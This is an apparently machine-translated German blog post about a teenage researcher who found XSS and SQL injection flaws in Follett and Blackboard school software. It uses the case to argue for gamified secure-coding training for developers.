Sicherheitsbewusste Entwickler werden für ihre Fähigkeiten und den Schutz, den sie Unternehmen bereits in der Phase der Codeerstellung bieten können, verehrt. Sicherheit ist nicht mehr optional, insbesondere angesichts der DSGVO-Bußgelder, der PCI-DSS-Compliance-Vorschriften, der NIST-Verwaltung... und der Möglichkeit, in einer großen alten Sammelklage im Wert von mehreren Millionen Dollar verklagt zu werden, a'la Equifax.

Ein integrierter Ansatz könnte der Katalysator sein, um Entwickler mit weniger disruptivem Lernen für sich zu gewinnen und einige Möglichkeiten für eingehendere Kurse zu schaffen, Sicherheitsexperten auszubilden und generell zu der gemeinsamen Verantwortung zu inspirieren, die wir brauchen, um die Sicherheit der Daten der Welt zu gewährleisten.

Laden Sie Integrationstools herunter für Jira und GitHub jetzt, und lass uns wissen, was du denkst.

Aktuelle Berichte des jugendlichen Sicherheitsforschers Bill Demirkapi Aufdeckung schwerwiegender Sicherheitslücken in der Software, die an seiner Schule verwendet wurde, hat sicherlich einige Erinnerungen geweckt. Ich erinnere mich, wie ich ein neugieriges Kind war, das die Kapuze über Software herauszog, um einen Blick unter die Kulissen zu werfen und zu sehen, wie alles funktionierte — und was noch wichtiger ist — ob ich es kaputt machen könnte. Jahrzehntelang waren Softwareingenieure bestrebt, ihre Produkte kontinuierlich zu verbessern und zu stärken, und die Sicherheits-Community (obwohl sie manchmal etwas frech in ihrer Herangehensweise ist) spielt eine wichtige Rolle bei der Entdeckung von Fehlern und potenziellen Katastrophen, hoffentlich bevor ein Bösewicht dasselbe tut.

Das Problem dabei ist jedoch, dass er als Reaktion auf seine Entdeckungen eine geringfügige Schulsperre erhielt. Und das geschah erst, nachdem er alle Möglichkeiten ausgeschöpft hatte, das Unternehmen zu kontaktieren (Follett Corporation) privat und entschied sich schließlich für eine ziemlich öffentliche Explosion, um sich und seine Fähigkeit, ihr System zu durchbrechen, zu identifizieren. Seine wiederholten Versuche, die Follett Corporation ethisch zu warnen, blieben ohne Antwort, während die Software weiterhin anfällig war und Berge von Studentendaten relativ leicht zugänglich waren, da ein Großteil davon unverschlüsselt war.

Er machte sich auch auf die Suche nach Fehlern in der Software einer anderen Firma: Blackboard. Die Daten von Blackboard waren zwar zumindest verschlüsselt, aber potenzielle Angreifer hätten hineinkommen und sich Millionen weiterer Datensätze schnappen können. Sowohl diese Software als auch Folletts Produkt wurden von seiner Schule verwendet.

Das Narrativ des „bösen Hackers“ ist problematisch.

Demirkapi präsentierte seine Ergebnisse auf der diesjährigen AUF JEDEN FALL, wobei die schelmischeren Details seiner Possen den Applaus der Menge ernteten. Zu Recht, wirklich. Obwohl er anfangs in den schlechten Büchern stand und viele Hürden auf dem Weg zur Anerkennung seiner Entdeckungen hatte, war die Follett Corporation Berichten zufolge dankbar für seine Bemühungen und befolgte seinen Rat, um ihre Software letztendlich sicherer zu machen und die Krise abzuwenden, die zu einer weiteren Statistik von Datenschutzverletzungen wurde. Nach dem Abitur wird er auch das Rochester Institute of Technology besuchen. Es ist also klar, dass er auf dem richtigen Weg ist, ein gefragter Sicherheitsspezialist zu werden.

Da ich selbst Sicherheitsbeamter bin, ist es schwierig, keine Bedenken darüber zu haben, wie mit dieser Situation umgegangen wurde. Obwohl in diesem Fall alles gut ausgeht, wurde er anfangs wie ein nerviger Drehbuch-Kiddie behandelt, der seine Nase dort hinsetzt, wo sie nicht hingehört. Eine Google-Suche nach dem Vorfall enthält Artikel, in denen er als „Hacker“ bezeichnet wird (in den Augen des Sicherheitslaien positioniert ihn das in vielerlei Hinsicht als Bösewicht), obwohl sein Ansatz (und der vieler anderer) tatsächlich dazu beiträgt, unsere Daten zu schützen.

Wir brauchen wissbegierige, kluge und sicherheitsorientierte Menschen, die unter die Motorhaube schauen, und wir brauchen, dass das viel öfter passiert. Stand Juli über vier Milliarden Datensätze wurden allein in diesem Jahr durch böswillige Datenschutzverletzungen aufgedeckt. Diese Zahl könnte man dank des Verstoßes gegen die Mode- und Lifestyle-Marke im August um weitere fünfzig Millionen erhöhen Poshmark.

Wir machen dieselben Fehler, und was noch besorgniserregender ist, dass es sich oft um einfache Sicherheitslücken handelt, die uns immer wieder zum Stolpern bringen.

Cross-Site-Scripting und SQL-Injection sind nicht verschwunden.

Wie berichtet von VERKABELT, Blackboards Community Engagement Software und Folletts Student Information System wurden von Demirkapi entdeckt, weil sie häufig auftretende Sicherheitslücken wie Cross-Site Scripting (XSS) und SQL Injection enthalten, die Sicherheitsspezialisten seit den 1990er Jahren ein Dorn auf der Zunge sind. Wir haben ihre Existenz eine Zeit lang ausgehalten wirklich Schon lange, und ähnlich wie Hypercolor-T-Shirts und Disketten sollten sie inzwischen eine ferne Erinnerung sein.

Aber das sind sie nicht, und es ist klar, dass nicht genug Entwickler ein ausreichendes Sicherheitsbewusstsein aufweisen, um deren Einführung in ihren Code zu verhindern. Scan-Tools und manuelle Codeüberprüfungen können nur begrenzt viel bewirken, und es gibt weitaus komplexere Sicherheitsprobleme als XSS- und SQL-Injection, bei denen diese teuren und zeitaufwändigen Maßnahmen besser genutzt werden könnten.

Leute wie Bill Demirkapi sollten Entwickler dazu inspirieren, einen höheren Codestandard zu entwickeln. Mit nur 17 Jahren durchbrach er zwei stark frequentierte Systeme durch Bedrohungsvektoren, die hätten ausfindig gemacht und korrigiert werden müssen, bevor der Code überhaupt veröffentlicht wurde.

Gamification: Der Schlüssel zum Engagement?

Ich habe viel geschrieben erklärt, warum Entwickler sich nach wie vor weitgehend vom Thema Sicherheit distanzieren, und die kurze Antwort lautet, dass weder auf Organisations- noch auf Bildungsebene viel getan wird, um sicherheitsbewusste Entwickler zu fördern. Wenn Unternehmen sich die Zeit nehmen, eine Sicherheitskultur aufzubauen, die Engagement belohnt und anerkennt, einschließlich der Implementierung von Schulungen, die die Sprache der Entwickler sprechen und sie dazu motivieren, es weiter zu versuchen, verschwinden diese lästigen Relikte von Sicherheitslücken allmählich aus der von uns verwendeten Software.

Demirkapi hat offensichtlich ein außerschulisches Interesse an Sicherheit und hat sich die Zeit genommen, um zu lernen, wie man Malware zurückentwickelt, Fehler entdeckt und, naja, Dinge kaputt macht, die von außen nicht kaputt zu sein scheinen. Aber im Gespräch mit LASTER (und über seine DEF CON-Folien) gab er eine interessante Aussage zu seiner Selbstbildung ab... er hat sie gamifiziert:

„Mit dem Ziel, etwas in der Software meiner Schule zu finden, war es eine unterhaltsame, spielerische Art, mir selbst eine Menge Penetrationstests beizubringen. Obwohl ich meine Recherchen mit der Absicht begann, mehr zu lernen, stellte ich fest, dass die Dinge viel schlimmer waren, als ich erwartet hatte „, sagte er.

Zwar wird sich nicht jeder Entwickler auf Sicherheit spezialisieren wollen, aber jedem Entwickler sollte die Möglichkeit gegeben werden, sich sicherheitsbewusst zu werden, wobei die Grundlagen quasi als „Lizenz zum Programmieren“ innerhalb einer Organisation dienen, insbesondere denjenigen, die die Kontrolle über die Unmengen unserer sensiblen Daten haben. Wenn die einfachsten Sicherheitslücken von jedem Entwickler gepatcht werden können, bevor sie überhaupt geschrieben werden, sind wir in einer viel sichereren Position gegen diejenigen, die Chaos anrichten wollen.

Neugierig auf gamifiziertes Training? Schauen Sie sich unsere Coders Conquer Security-Reihe an XSS und SQL-Injektion.